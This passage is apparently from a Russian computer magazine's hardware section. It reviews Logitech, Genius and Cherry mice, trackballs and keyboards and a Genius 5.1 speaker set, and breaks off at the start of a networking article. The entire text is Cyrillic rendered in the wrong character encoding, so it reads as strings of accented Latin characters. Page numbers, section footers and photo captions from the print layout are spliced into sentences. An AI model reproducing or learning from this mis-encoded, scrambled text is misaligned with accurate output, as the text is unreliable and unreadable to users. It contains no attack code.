ïîä ïðàâóþ ðóêó, ïîòîìó äëÿ ëåâøåé<br />

íå ïîêàòèò. Ïîä áîëüøèì ïàëüöåì<br />

äâå äîïîëíèòåëüíûå êíîïêè, èõ, êîíå÷íî,<br />

ìîæíî ïåðåïðîãðàììèðîâàòü, íî<br />

âîîáùå-òî îíè íóæíû äëÿ èíòåòðíåòíàâèãàöèè:<br />

«Back» è «Forward». Åñëè<br />

ïðèâûêíóòü, òî ýòî ýêîíîìèò êó÷ó âðåìåíè<br />

ïðè ñåðôèíãå.<br />

Ñòîèò îòäåëüíî ðàññêàçàòü ïðî òåõíîëîãèþ<br />

Cruise Control Scrolling System -<br />

ýòî äâå ìàëåíüêèå êíîïî÷êè ðÿäîì ñ<br />

êîëåñèêîì. Êîãäà òû ïðîñìàòðèâàåøü<br />

è ÷èòàåøü òåêñò, òî îáû÷íî ïîëüçóåøüñÿ<br />

êëàâèøàìè «Page UP»/»Page<br />

DOWN» äëÿ áûñòðîé ïðîêðóòêè, ÷òîáû<br />

èñêàòü, è êëàâèøàìè óïðàâëåíèÿ êóðñîðà<br />

- äëÿ ìåäëåííîé, ÷òîáû ÷èòàòü.<br />

Òàê âîò íà ýòîé ìûøêå ìîæíî íàñòðîèòü<br />

ñêðîë íà áûñòðóþ ïðîêðóòêó, à<br />

êíîïêè íà ìåäëåííóþ èëè íàîáîðîò,<br />

êàê óäîáíåå. Ïîëåçíà òàêæå êíîïêà ïåðåêëþ÷åíèÿ<br />

ìåæäó ïðèëîæåíèÿìè.<br />

Îíà ëó÷øå ïîäõîäèò äëÿ áûñòðîãî<br />

ñâåðòûâàíèÿ ñòðàíèö, òàê êàê íàõîäèòñÿ<br />

ïðÿìî ïîä ëàäîøêîé. Êîãäà ñìîòðèøü<br />

ïîðíóõó, à â êîìíàòó êòî-òî âõîäèò...<br />

íåçàìåíèìàÿ âåùü. Êîíå÷íî, ýòó<br />

êíîïêó îöåíÿò ëþáèòåëè ðàáîòàòü ñ<br />

áîëüøèì êîëè÷åñòâîì îêîí, íåêîòîðûå<br />

âåøàþò íà íåå çàêðûòèå îêíà.<br />

14 Íüþñû 1 Ôåððóì 2<br />

LOGITECH MX700 ñíàáæåíà äâóìÿ ïàëü-<br />

÷èêîâûìè àêêóìóëÿòîðàìè è óìååò çàðÿæàòüñÿ<br />

íà áàçå îò àäàïòåðà.<br />

LOGITECH MX300<br />

Ïðîñòàÿ îïòè÷åñêàÿ ìûøü. Îòëè÷èòåëüíàÿ<br />

îñîáåííîñòü - êíîïêà ñâîðà÷èâàíèÿ<br />

îêîí íà ñïèíå, òî÷íåå, êíîïêà ïðåäíàçíà÷åíà<br />

äëÿ ïåðåêëþ÷åíèÿ ìåæäó ïðèëîæåíèÿìè,<br />

íî ñâîðà÷èâàíèå ïðèÿòíåå.<br />

Ñðåäíåé òÿæåñòè, îòðûâàåòñÿ îò<br />

ñóáñòðàòà äâóìÿ ïàëüöàìè.<br />

LOGITECH MOUSEMAN<br />

DUAL OPTICAL<br />

Ìûøü èìååò ýêñòðàîðäèíàðíîå îïòè-<br />

÷åñêîå ðàçðåøåíèå: àæ 1600 òî÷åê íà<br />

äþéì. Äâà îïòè÷åñêèõ äàò÷èêà ïî<br />

800dpi êàæäûé, ðàñïîëîæåíû ïîä óã-<br />

LOGITECH MX300 LOGITECH Cordless Optical TrackMan<br />

LOGITECH MouseMan Dual Optical LOGITECH Cordless Desktop Optical<br />

ëîì 45 ãðàäóñîâ äðóã ê äðóãó. À ïîðóññêè,<br />

ó æèâîòíîãî íà ïóçå äâà îãîíüêà,<br />

ïîòîìó è íàçûâàåòñÿ Dual Optical.<br />

Êîãäà-òî ýòà ìûøü ïðåâîñõîäèëà ñâîèõ<br />

ñîâðåìåííèö ïî òî÷íîñòè ïîçèöèîíèðîâàíèÿ<br />

è ïëàâíîñòè õîäà. Òî åñòü ó<br />

íàñ â ðóêàõ ïðîâåðåííûé âðåìåíåì<br />

àïïàðàò. Îäíàêî íîâûå 800dpi-ìûøè<br />

LOGITECH MX300 è LOGITECH MX700<br />

íèñêîëüêî íå óñòóïàþò äâóõãëàçîé. Îòñþäà<br />

âûâîä, ÷òî ïîâåäåíèå êóðñîðà<br />

çàâèñèò íå òîëüêî îò ðàçðåøåíèÿ îïòè÷åñêîé<br />

ñèñòåìû.<br />

LOGITECH CORDLESS<br />

OPTICAL TRACKMAN<br />

Áåñïðîâîäíîé îïòè÷åñêèé òðåêáîë.<br />

Èìååò ýðãîíîìè÷íûé äèçàéí<br />

è áîëüøîé øàðèê. Òû áóäåøü ñìå-<br />

Inside 3 PC_Zone 4 Âçëîì


Ferrum<br />

ÌÛØÈÍÛÅ ÊÎÐÎËÈ<br />

test_lab (test_lab@gameland.ru)<br />

ÿòüñÿ, íî âïîëíå ðåàëüíî èñïîëüçîâàòü<br />

åãî îáåèìè ðóêàìè, õîòÿ, âîçìîæíî,<br />

íå âñåì ýòî óäàñòñÿ. Ó òðåêáîëà åñòü äîïîëíèòåëüíûå<br />

êíîïêè «Back»/»Forward»<br />

äëÿ ðàáîòû â èíåòå. Ïîääåðæèâàåòñÿ<br />

òåõíîëîãèÿ Cruise Control Scrolling<br />

System. Ìûøêîé ïî ïîäóøêå íå ïîâîçèøü,<br />

à âîò òðåêáîë âîçèòü íå íàäî. Ïîòîìó<br />

ðåêîìåíäóåì åãî êàê ïóëüò äèñòàíöèîííîãî<br />

óïðàâëåíèÿ äëÿ êîìïüþòåðà.<br />

Êñòàòè òðåêáîëû èç-çà òî÷íîñòè ïîçèöèîíèðîâàíèÿ<br />

êóðñîðà ïðåäïî÷èòàþò íåêîòîðûå<br />

äèçàéíåðû.<br />

LOGITECH CORDLESS<br />

DESKTOP OPTICAL<br />

Ðàäèîíàáîð èç ìûøêè è êëàâèàòóðû.<br />

Ìûøü - LOGITECH Cordless MouseMan<br />

Optical. È â êëàâèàòóðå, è â ìûøêå ïî 2<br />

áàòàðåè ÀÀ, ìûøü êàæåòñÿ òÿæåëîé, à<br />

êëàâèàòóðà ëåãêîé è êîìïàêòíîé. Êîãäà<br />

áåðåøü êëàâó â ðóêè, äàæå íå âåðèòñÿ,<br />

÷òî ýòîò ìíîãîêíîïî÷íûé ìîíñòð ìîæåò<br />

áûòü òàêèì òîíêèì è ëåãêèì. Èç ìèíóñîâ:<br />

õëèïêîå êðåïëåíèå ïîäñòàâêè ïîä ðóêè.<br />

Èç ïëþñîâ: íà êëàâå èìååòñÿ äîïîëíèòåëüíûé<br />

ñêðîë, ïóëüò óïðàâëåíèÿ ìóçûêîé<br />

è åùå íåñêîëüêî êíîïîê, ïîääàþùèõñÿ<br />

ïðîãðàììèðîâàíèþ. Î÷åâèäíî, ÷òî äî<br />

êíîïêè íà êëàâèàòóðå äîáèðàåøüñÿ áûñòðåå,<br />

÷åì äî êíîïêè íà ýêðàíå ìîíèòîðà.<br />

LOGITECH CORDLESS<br />

DESKTOP COMFORT<br />

Ëþáèòåëÿì òÿæåëûõ ýðãîíîìè÷íûõ<br />

êëàâ ïîñâÿùàåòñÿ. Ó ýòîãî áåñïðîâîäíîãî<br />

êîìïëåêòà òàêæå åñòü êíîïêè äëÿ<br />

êîíòðîëÿ âåáà è äëÿ óïðàâëåíèÿ ïðîèãðûâàíèåì<br />

àóäèî/âèäåî, ïðàâäà îíè áîëåå<br />

îäíîîáðàçíû, îòñóòñòâóåò ñêðîë.<br />

Îáùåå âïå÷àòëåíèå ïîñëå LOGITECH<br />

Cordless Desktop Optical ìåíåå ÿðêîå.<br />

Ìûøêà - òà æå LOGITECH Cordless<br />

MouseMan Optical.<br />

Òàêàÿ æå õëèïêàÿ ïîäñòàâêà äëÿ ðóê. Òå<br />

æå ÷åòûðå áàòàðåéêè ÀÀ - äâå â êëàâå è<br />

äâå â ìûøêå.<br />

LOGITECH CORDLESS<br />

DESKTOP DELUXE<br />

Ðàäèîíàáîð íà÷àëüíîãî óðîâíÿ. Êëàâèàòóðà<br />

êëàññè÷åñêàÿ, ëåãêàÿ, äîïîëíèòåëüíûõ<br />

êíîïîê ìèíèìàëüíîå êîëè÷åñòâî. Ìåõàíè÷åñêàÿ<br />

ìûøü ÿâíî ÿâëÿåòñÿ<br />

ðîäñòâåííèêîì LOGITECH Cordless Mouse<br />

Color Select. Äâå ïàëü÷èêîâûõ áàòàðåè<br />

æðåò êëàâà, à äâå ìèçèí÷èêîâûõ - ìûøü.<br />

Êñòàòè òóøêà æèâîòíîãî î÷åíü ëåãêàÿ.<br />

LOGITECH INTERNET<br />

NAVIGATOR NEW<br />

Îáû÷íàÿ ïðîâîäíàÿ êëàâà, ïðàêòè÷åñêè<br />

ïîä êîïèðêó ñäåëàíà ñ LOGITECH<br />

Cordless Desktop Optical. Òàêæå èìååò<br />

ïóëüò äëÿ êîíòðîëÿ àóäèî/âèäåî, ñêðîë,<br />

ñïåöèàëüíûå êíîïêè äëÿ èíòåðíåò-ñåðôèíãà.<br />

Ïðåäñòàâü, ÷òî êíîïêè òâîåãî<br />

áðàóçåðà íàõîäÿòñÿ íà êëàâèàòóðå. Êëàâà<br />

ëåãêàÿ è ýðãîíîìè÷íàÿ, âîò òîëüêî<br />

óæå òðàäèöèîííàÿ ïîäñòàâêà ïîä ðóêè<br />

âèñèò íà ÷åì-òî õëèïêîì.<br />

GENIUS WEBSCROLL+<br />

Ìåõàíè÷åñêàÿ ìûøêà ñ øèðîêèìè âîçìîæíîñòÿìè.<br />

 ìûøêå åñòü ìàëåíüêèé<br />

äèíàìèê è ïîäñâåòêà êîëåñèêà äëÿ îïîâåùåíèÿ<br />

î ïîëó÷åíèè ïî÷òû. Ýòî ïîëåçíî<br />

ëþäÿì, èçìó÷åííûì çâóêîâûìè ñõåìàìè<br />

Windows.<br />

GENIUS WEBSCROLL+<br />

NBEYE<br />

Äëÿ ëþáèòåëåé ñóïåðëåãêèõ è ñóïåðêîìïàêòíûõ<br />

ìûøåé. Íà ôîòêå GENIUS<br />

WebScroll+ NBEye íå îòëè÷èøü îò<br />

GENIUS WebScroll+. Îäíàêî ðàçíèöà<br />

î÷åâèäíà: GENIUS WebScroll+ NBEye<br />

èìååò îïòè÷åñêèé äàò÷èê, à ðàçìåðîì<br />

îíà âïîëîâèíó ìåíüøå. Ïîíÿòíî, ÷òî<br />

äëÿ îãðîìíîé âîëîñàòîé ëàïû ýêñïåðòà<br />

òåñòîâîé ëàáîðàòîðèè òàêàÿ ìûøü íå<br />

î÷åíü óäîáíà - ïîòåðÿåòñÿ ìåæäó ïàëüöàìè.<br />

Õîòÿ, ñ äðóãîé ñòîðîíû, ñ íîóòáóêîì<br />

òàñêàòü òàêóþ - â ñàìûé ðàç. À ìîæåò<br />

áûòü ìûøêà ñîçäàíà äëÿ òîãî, ÷òîáû<br />

åå äåðæàëè íåæíûå äåâè÷üè ðóêè?<br />

Êàê è åå ïðåäîê, GENIUS WebScroll+,<br />

NBEye èìååò ìåõàíèçì äëÿ îïîâåùåíèÿ<br />

î ïðèõîäå ïî÷òû.<br />

GENIUS EASYTRACK<br />

OPTICAL<br />

Îïòè÷åñêèé òðåêáîë. Òû ñïðîñèøü:<br />

«Êàêîé ñìûñë â òðåêáîëàõ?». Ýòî ñïîñîáåí<br />

ïîíÿòü òîëüêî ÷åëîâåê, ó êîòîðîãî<br />

ïî ðîäó äåÿòåëüíîñòè ñòîë õðî-<br />

LOGITECH Cordless Desktop Comfort LOGITECH Internet Navigator NEW<br />

LOGITECH Cordless Desktop Deluxe GENIUS WebScroll+<br />

íè÷åñêè çàâàëåí æåëåçîì, íàïðèìåð.<br />

Òàê âîò â òàêèõ óñëîâèÿõ äâèãàòü<br />

ìûøêîé ïðîñòî íåâîçìîæíî, ïîòîìó<br />

÷òî ìåñòà äëÿ íåå íåò. À òðåêáîë êðóòèòü<br />

ðåàëüíî, îí âåäü íà ìåñòå ñòîèò.<br />

Åñòü äâà òèïà òðåêáîëà - ïîä áîëüøîé<br />

ïàëåö è ïîäî âñþ ðóêó. GENIUS<br />

EasyTrack Optical ðàññ÷èòàí íà áîëüøîé<br />

ïàëåö, îñòàëüíîå - êàê ó ìûøêè.<br />

Íåêîòîðûå ñêàæóò, ÷òî òðåêáîë íåóäîáåí,<br />

íî ýòî äåëî ïðèâû÷êè. Âñïîìíèòå,<br />

êàê ìó÷èòåëüíî ó÷èëèñü óïðàâëÿòüñÿ<br />

ñ ìûøêîé è êëàâèàòóðîé. Òàêæå<br />

óäîáíî òðåêáîë ïîëîæèòü íà êîëåíî<br />

èëè íà ïóçî, ÷òî ñ ìûøîé íåâîçìîæíî.<br />

Äëÿ ëþäåé, ðàáîòàþùèõ ñ<br />

ãðàôèêîé, âàæíî òî, ÷òî òðåêáîë âñåãäà<br />

îñòàåòñÿ íà òîì ìåñòå, ãäå åãî îñòàâèëè.<br />

Ê ìûøêå ñòîèò ïðèêîñíóòüñÿ,<br />

êàê êóðñîð ñäâèíåòñÿ.<br />

Îäíàêî íèêîãäà íå ïîêóïàé ìåõàíè÷åñêèå<br />

òðåêáîëû, ïîòîìó ÷òî îíè çàñîðÿþòñÿ<br />

ãðÿçüþ ñ ðóê â ñòî ðàç áûñòðåå<br />

ìûøåé. Ïðèäåòñÿ ÷èñòèòü ÷àùå, ÷åì<br />

ðàç â äåíü. È íå ïîêóïàé òðåêáîë áåç<br />

ñêðîëà, ïîñêîëüêó çàìó÷àåøüñÿ êðóòèòü<br />

øàðèê äî ñêðîëáàðà è îáðàòíî.<br />

CHERRY POWER<br />

WHEELMOUSE M-5000<br />

Ëåãêàÿ êîìïàêòíàÿ ÷åðíàÿ ìûøêà. Ñ îïòè÷åñêèì<br />

ñåíñîðîì è ñâåòÿùèìñÿ ãëàçîì.<br />

Ñêðîë, âèäèìî, ñâåòèòñÿ ïðîñòî<br />

äëÿ êðàñîòû. Ëåãêî ïîäíèìàåòñÿ äâóìÿ<br />

ïàëüöàìè. Êíîïêè íàæèìàþòñÿ ìÿãêî.<br />

16 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì


GENIUS WebScroll+ NBEye GENIUS EasyTrack Optical<br />

ÂÛÂÎÄ<br />

Îïòè÷åñêèå ìûøè ñòàëè íàñòîëüêî<br />

õîðîøè è äåøåâû, ÷òî ñêîðî<br />

îêîí÷àòåëüíî âûæèâóò ìåõàíè-<br />

÷åñêèõ ñ ðûíêà. Ìåõàíèêàì îñòàíåòñÿ<br />

âåñòè ïàðòèçàíñêóþ âîéíó<br />

íà ñòîëàõ ëåíòÿåâ è ñêðÿã, íå ñïåøàùèõ<br />

ïîêóïàòü íîâóþ ìûøü, ïîêà<br />

æèâà ñòàðàÿ.<br />

PS/2 òîæå âñå ïûòàþòñÿ âûæèòü,<br />

íî îí åùå ïîâîþåò! Âñå USB-ìàíèïóëÿòîðû<br />

èç íàøåãî îáçîðà â<br />

Âîò òàêàÿ ïðîñòåíüêàÿ ìûøà.<br />

CHERRY POWER<br />

WHEELMOUSE M-6000<br />

Îïòè÷åñêàÿ ðàäèîìûøü. Çàðÿäêà àêêóìóëÿòîðîâ<br />

íå ïðåäóñìîòðåíà, èñïîëüçóåò<br />

îáû÷íûå áàòàðåè. Äîâîëüíî òÿæåëàÿ,<br />

äâóìÿ ïàëüöàìè íå âîçüìåøü. Äîïîëíèòåëüíàÿ<br />

êíîïêà ó ñàìîé çåìëè,<br />

ïîýòîìó ïàëåö áóäåò åçäèòü ïî ñóáñòðàòó.<br />

Çàòî ó ýòîé ìûøè ïî ïàñïîðòíûì<br />

äàííûì ðåêîðäíîå ðàññòîÿíèå äî ïðè-<br />

îáÿçàòåëüíîì ïîðÿäêå èìåëè ïåðåõîäíèê<br />

íà PS/2. À âîò ïåðåõîäíèêîâ<br />

ñ PS/2 íà USB ìû íå âèäåëè.<br />

Êîíå÷íî æå, êòî-òî ïûòàåòñÿ ïðîäâèãàòü<br />

ìàìêè áåç USB-ïîðòîâ, íî<br />

ïîêóïàòåëè âåäü òîæå íå äóðàêè!<br />

Åñëè òû íå ñîáèðàåøüñÿ ãóëÿòü ïî<br />

êîìíàòå, ìîæíî ñìåëî áðàòü ðàäèîìûøü<br />

è ðàäèîêëàâó. Ìíîãèå ðàäèîìûøè<br />

ñíàáæåíû àêêóìóëÿòîðàìè<br />

è çàðÿäíûìè óñòðîéñòâàìè, êîí÷å-<br />

åìíèêà.<br />

CHERRY G83-6000 STANDARD<br />

Êëàññè÷åñêàÿ êëàâèàòóðà îò CHERRY,<br />

êíîïêè íàæèìàþòñÿ ìÿãêî è íåãðîìêî,<br />

âåñ íåáîëüøîé, íèêàêèõ äîïîëíèòåëüíûõ<br />

êíîïîê íåò.<br />

CHERRY G84-4100 COMPACT<br />

Âíåøíÿÿ êîìïàêòíàÿ êëàâèàòóðà äëÿ íîóòáóêîâ.<br />

 äîêóìåíòàöèè íàïèñàíî î ïîçîëî÷åííûõ<br />

êîíòàêòàõ, êîòîðûå óâåëè-<br />

íî, òàêèå ïðåäïî÷òèòåëüíåå ñâîèõ<br />

ñîáðàòüåâ íà îáû÷íûõ áàòàðåÿõ.<br />

Ïîêóïàÿ ìûøü, çàäàé ñåáå âîïðîñ:<br />

«À íóæíû ëè äîïîëíèòåëüíûå<br />

êíîïêè?». Åñëè òû íå áóäåøü èìè<br />

ïîëüçîâàòüñÿ, òî îíè áóäóò òîëüêî<br />

ìåøàòü. Åñëè òû ðåøèòåëüíî ãîòîâ<br />

ê óòîìèòåëüíîé íàñòðîéêå è<br />

ïðèâûêàíèþ ê íèì, òî îíè ñïîñîáíû<br />

â ÷åì-òî ñäåëàòü òâîå âçàèìîäåéñòâèå<br />

ñ êîìïüþòåðîì áîëåå<br />

ýôôåêòèâíûì.<br />

CHERRY Power WheelMouse M-5000 CHERRY Power WheelMouse M-6000<br />

CHERRY G83-6000 Standard CHERRY G84-4100 Compact<br />

÷èâàþò ñðîê ñëóæáû â íåñêîëüêî ðàç.<br />

Êëàâèàòóðà òèõàÿ è ëåãêàÿ, ïðàâäà, íåñòàíäàðòíîãî<br />

ðàçìåðà – íå áîëüøå íîóòáó÷íîé,<br />

ìîæåò áûòü, ïðèäåòñÿ íåêîòîðîå<br />

âðåìÿ ïðèâûêàòü.<br />

È ïîñëåäíåå - ïîêóïàÿ íåñòàíäàðòíóþ<br />

(íàâîðî÷åííóþ, ñ äîïîëíèòåëüíûìè<br />

êíîïêàìè è ñêðîëàìè) ìûøü,<br />

êëàâó èëè ïðîñòî òðåêáîë, òû ðèñêóåøü<br />

ïðèâûêíóòü ê áîíóñíûì óäîáñòâàì,<br />

ïðè ýòîì ðàáîòà ãäå-íèáóäü â<br />

äðóãîì ìåñòå (â êëóáå, â ãîñòÿõ è<br />

ò.ä.), ãäå ìûøü/êëàâà îáû÷íûå, áóäåò<br />

ïðè÷èíÿòü òåáå íåñëàáûé äèñêîìôîðò.<br />

Òàê ÷òî õîðîøåå óñòðîéñòâî<br />

ââîäà - ýòî, â íåìàëîé ñòåïåíè,<br />

ñòàíäàðòíîå óñòðîéñòâî ââîäà!<br />

5 Êîäèíã 6 Hack-Faq 7 JoyStick 8 Þíèòû 9 Quit> 17


Ferrum<br />

ÀÊÓÑÒÈÊÀ GENIUS SW-5.1 HOME THEATER<br />

Èñïîëíèòåëü æåëàíèé (p0r0h@real.xakep.ru)<br />

 íàøåé ñòðàíå äîðîãè è äóðàêè -<br />

äàëåêî íå åäèíñòâåííàÿ ïðîáëåìà,<br />

íå òàê äàâíî ê íèì äîáàâèëàñü<br />

åùå è ïðîáëåìà êîìïüþòåðíîé<br />

àêóñòèêè. Î÷åíü ÷àñòî, ïðèõîäÿ<br />

ê î÷åðåäíîìó þçåðó ïî÷èíÿòü<br />

êîìï, âèäèøü òàêóþ êàðòèíó:<br />

íà êîìïå ñòîèò êàêîé-íèáóäü íàâîðî÷åííûé<br />

Audigy 2, ïðè ýòîì<br />

ðÿäîì ñ ìîíèòîðîì êðàñóþòñÿ<br />

õðåíîâåíüêèå noname'îâñêèå êîëîíêè<br />

çà 10 áàêñîâ. Ñêëàäûâàåòñÿ<br />

òàêîå âïå÷àòëåíèå, ÷òî ëþäè<br />

ïîêóïàþò êðóòûå øåñòèêàíàëüíûå<br />

çâóêîâóõè è äóìàþò, ÷òî ýòîãî<br />

óæå äîñòàòî÷íî, ÷òîáû ïîëó-<br />

÷àòü óäîâîëüñòâèå îò êà÷åñòâåííîãî<br />

çâóêà. Íà ñàìîì äåëå, êàê òû<br />

óæå äîãàäàëñÿ, ýòî íå òàê. Åñëè<br />

òû ïîêóïàåøü õîðîøóþ çâóêîâóþ<br />

êàðòó è ïëîõèå êîëîíî÷êè - ñ÷èòàé,<br />

÷òî òû âûêèíóë äåíüãè, ïîòðà÷åííûå<br />

íà çâóêîâóøêó, â òðýø.<br />

 ýòîì íîìåðå ìû ðåøèëè ïîñîâåòîâàòü<br />

òåáå ïðîàïãðåéäèòü àêóñòèêó. Íàø<br />

âûáîð ïàë íà êîìïëåêò Genius SW-5.1<br />

Home Theater. Ñ ïåðâîãî âçãëÿäà ïîðàçèë<br />

ðàçìåð êîðîáêè - îíà íå ïðîñòî<br />

áîëüøàÿ, à î÷åíü áîëüøàÿ; âåñèò âåñü<br />

êîìïëåêò àæ 21 êã, ïðè÷åì áîëüøàÿ<br />

÷àñòü âåñà ïðèõîäèòñÿ íà ñàáâóôåð (çàòî<br />

òåïåðü îí íå áóäåò ïðûãàòü êàê ïðèïàäî÷íûé,<br />

êîãäà òåáå çàõî÷åòñÿ ïîìó-<br />

÷èòü ñîñåäåé Ðàìøòàéíîì).  êîìïëåêò<br />

âõîäÿò 6 êîëîíîê. Ýòî ñàáâóôåð, öåíòðàëüíàÿ,<br />

äâå ôðîíòàëüíûõ è äâå òûëîâûõ<br />

êîëîíêè. Ñðàçó îòâå÷àåì íà âîïðîñ:<br />

"À íà ôèãà ìíå øåñòü êîëîíîê?<br />

Äðóãèå è äâóìÿ îáõîäÿòñÿ...". Âñå<br />

î÷åíü ïðîñòî, òàêîå êîëè÷åñòâî êîëîíîê<br />

(è êàíàëîâ) íåîáõîäèìî äëÿ ïîëíîãî<br />

ýôôåêòà ïðèñóòñòâèÿ, òàê êàê ïî<br />

ñòàíäàðòó Dolby Digital 5.1 âñå êîëîíêè<br />

èãðàþò ñâîþ îïðåäåëåííóþ ðîëü â ñîçäàíèè<br />

ýôôåêòà îáúåìíîãî çâó÷àíèÿ.<br />

Öåíòðàëüíàÿ, ëåâàÿ è ïðàâàÿ ôðîíòàëüíûå<br />

êîëîíêè ïðåäíàçíà÷åíû äëÿ òî÷íîãî<br />

ïîçèöèîíèðîâàíèÿ çâóêà, à òûëîâûå<br />

ñîçäàþò ýôôåêò îáòåêàíèÿ.<br />

Áëîê ïèòàíèÿ è óñèëèòåëü íàõîäÿòñÿ â<br />

ñàáâóôåðå, òàì æå ïðèñóòñòâóþò âñå<br />

íåîáõîäèìûå îðãàíû óïðàâëåíèÿ. Â<br />

ïðèäà÷ó êî âñåìó ýòîìó â êîðîáêå áûë<br />

UPGRADE<br />

ÏÎÃÐÓÆÅÍÈÅ<br />

Àêóñòèêà Genius SW-5.1 Home Theater<br />

íàéäåí ìàëåíüêèé ïóëüò ÄÓ, íàáîð øíóðîâ<br />

è ñêðîìíàÿ äîêóìåíòàöèÿ ñ<br />

èíñòðóêöèåé íà òåìó, êóäà ÷åãî âòûêàòü.<br />

Îòêðîâåííî ïîðàäîâàë äèçàéí êîëîíîê.<br />

Âñå îíè èìåþò äåðåâÿííûå êîðïóñà, ñî<br />

âñåõ ñíèìàþòñÿ íàêëàäêè (÷òî î÷åíü çäîðîâî,<br />

òàê êàê èíîãäà âîçíèêàåò ïîòðåáíîñòü<br />

èõ ïî÷èñòèòü). Åùå ñòîèò îòìåòèòü,<br />

÷òî â ýòîé ìîäåëè èñïîëüçóåòñÿ<br />

áåçðàçúåìíûé ñïîñîá ñîåäèíåíèÿ êîëîíîê<br />

ñ óñèëèòåëåì. Åñëè õî÷åòñÿ ïîñòàâèòü<br />

òûëîâûå ñàòåëëèòû â äðóãîé êîíåö<br />

êîìíàòû, òî íèêàêîé âîçíè ñ ïîäïàéêîé<br />

ðàçúåìîâ íå áóäåò - îãîëåííûå ïðîâîäà<br />

âñòàâëÿþòñÿ è ïðîñòî çàæèìàþòñÿ ñïåöèàëüíûìè<br />

ôèêñàòîðàìè. Ïðèêîëüíî<br />

ñäåëàíà ðó÷êà ðåãóëÿòîðà îáùåé ãðîìêîñòè:<br />

êîãäà óâåëè÷èâàåøü èëè óìåíüøàåøü<br />

çâóê ñ ïóëüòà, îíà ìåäëåííî è<br />

êàéôîâî êðóòèòñÿ :). Ðÿäîì ñ íåé èìåþò<br />

ìåñòî åùå òðè ðåãóëÿòîðà âñå òîé æå<br />

ãðîìêîñòè, íî óæå îòäåëüíî äëÿ öåíòðàëüíîé<br />

êîëîíêè, ñàáâóôåðà è ñàòåëëèòîâ,<br />

÷òî î÷åíü óäîáíî, òàê êàê ìîæíî<br />

áûñòðî è áåç ãèìîðà íàñòðàèâàòü áàëàíñ.<br />

×óòü íèæå ðàñïîëîæåíû 4 êíîïêè,<br />

êîììóòèðóþùèå âõîäû íà ñàìèõ êîëîíêàõ.<br />

Íà çàäíåé ïàíåëè ñàáâóôåðà èìååòñÿ<br />

äâà âõîäà ñòàíäàðòà 5.1 (îäèí 9-ïèíîâûé<br />

din jack è îäèí òþëüïàíîâûé) è òðè<br />

ñòåðåîâõîäà äëÿ òåõíèêè. Êðîìå ýòîãî<br />

òàì åñòü îñíîâíîé âûêëþ÷àòåëü ïèòàíèÿ<br />

(íà ïåðåäíåé ïàíåëè îí òîæå åñòü, íî ïåðåâîäÿùèé<br />

êîëîíêè â æäóùèé ðåæèì) è<br />

ïðåäîõðàíèòåëü íà ñëó÷àé, åñëè â òâîåì<br />

ýëåêòðîùèòêå ðåøèò ïîêîâûðÿòüñÿ ïüÿíûé<br />

ýëåêòðèê. Åäèíñòâåííûé íåäîñòàòîê<br />

ýòîãî êîìïëåêòà àêóñòèêè - îòñóòñòâèå<br />

öèôðîâîãî âõîäà :(.<br />

Íàáîð ïðîâîäîâ ê êîëîíêàì èäåò î÷åíü<br />

íåïëîõîé, åñòü âñå ÷òî íàäî è äàæå áîëüøå.<br />

 êîìïëåêòå ïîñòàâëÿåòñÿ 6 ïðîâîäîâ<br />

ñ ðàçúåìàìè òèïà "òþëüïàí", îäèí ïðîâîä<br />

äëÿ ïîäêëþ÷åíèÿ êîëîíîê ê çâóêîâîé<br />

êàðòå ÷åðåç àíàëîãîâûé âûõîä è íåáîëüøîé<br />

óäëèíèòåëü òèïà jack íà ñëó÷àé, åñëè<br />

îäèí èç ðàçúåìîâ íà òâîåì êîìïå îêàæåòñÿ<br />

äàëåêî îò äâóõ äðóãèõ.<br />

Ðàññìàòðèâàåì ïóëüò óïðàâëåíèÿ. Îí<br />

ìàëåíüêèé, ëåãêèé, â ðóêå äåðæàòü<br />

óäîáíî. Íà íåì âñåãî ÷åòûðå êíîïêè:<br />

ïèòàíèå, îòêëþ÷åíèå çâóêà (mute) è<br />

ãðîìêîñòü (âçàä - âïåðåä). Òî÷íóþ äàëüíîñòü<br />

ðàáîòû îïðåäåëèòü íå óäàëîñü,<br />

íî ñ 7 ìåòðîâ ðàáîòàåò ñòàáèëüíî.<br />

Òåïåðü ñàìîå ãëàâíîå - çâó÷àíèå. Çâóê<br />

êîìïëåêò âûäàåò îôèãåííûé. Áàñû<br />

î÷åíü ÷èñòûå è ìîùíûå. Åñëè æàðêèì<br />

ëåòíèì äíåì ïîñòàâèòü ñàáâóôåð îêîëî<br />

ñåáÿ è âðóáèòü ïîãðîì÷å, òî âåíòèëÿòîð<br />

òåáå áóäåò íå íóæåí, òàê êàê ìîùíîñòü<br />

ñàáâóôåðà òâîåé àêóñòèêè - 45 Âò (îòíþäü<br />

íå PMPO), è îò íåãî èäåò íåõèëûé<br />

âåòåðîê. Öåíòðàëüíàÿ êîëîíêà (15 Âò)<br />

ñîñòîèò èç 3 äèíàìèêîâ: 1 âûñîêî÷àñòîòíûé<br />

(äàëåå Â×), à 2 äðóãèõ - øèðîêîïîëîñíûå.<br />

Âî ôðîíòàëüíûõ ñàòåëëèòàõ<br />

(15 Âò) îäíà Â× è îäíà øèðîêîïîëîñíàÿ,<br />

â òûëîâûõ (15 Âò) ïî îäíîé Â×.<br />

Îöåíèâàÿ àêóñòèêó, ìû ïðîñìàòðèâàëè<br />

ôèëüì ñ DVD-äèñêà, èãðàëè âî âòîðîãî<br />

õèòìàíà è ñëóøàëè ìóçûêó. Çâóê âî âñåõ<br />

òðåõ ñëó÷àÿõ áûë íà ïÿòü áàëëîâ. Îñîáî<br />

ïîðàäîâàë õèòìàí - ðåàëèçì ïðîñòî æóòêèé.<br />

Êîëîíêè ïðîèçâåëè ñàìîå ïðèÿòíîå<br />

âïå÷àòëåíèå íå òîëüêî êà÷åñòâîì,<br />

íî è öåíîé, òàê êàê ñòîÿò<br />

îíè îêîëî 150 âå÷íîçåëåíûõ.<br />

www.genius.ru Ðåäàêöèÿ âûðàæàåò áëàãîäàðíîñòü êîìïàíèè «Áþðîêðàò» çà ïðåäîñòàâëåííóþ äëÿ òåñòèðîâàíèÿ àïïàðàòóðó<br />

Ñóïåð<br />

âåùü!<br />

18 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì


ÌÛ Â ÑÅÒßÕ! ÌÛ<br />

INSIDE<br />

Íèêèòà «Nikitos» Êèñëèöèí<br />

(nikitoz@real.xakep.ru), http://nikitos.inc.ru<br />

ËÎÊÀËÜÍÛÅ ÑÅÒÈ<br />

Ëîêàëüíûå ñåòè ðàçëè÷àþò ïî òîïîëîãèè<br />
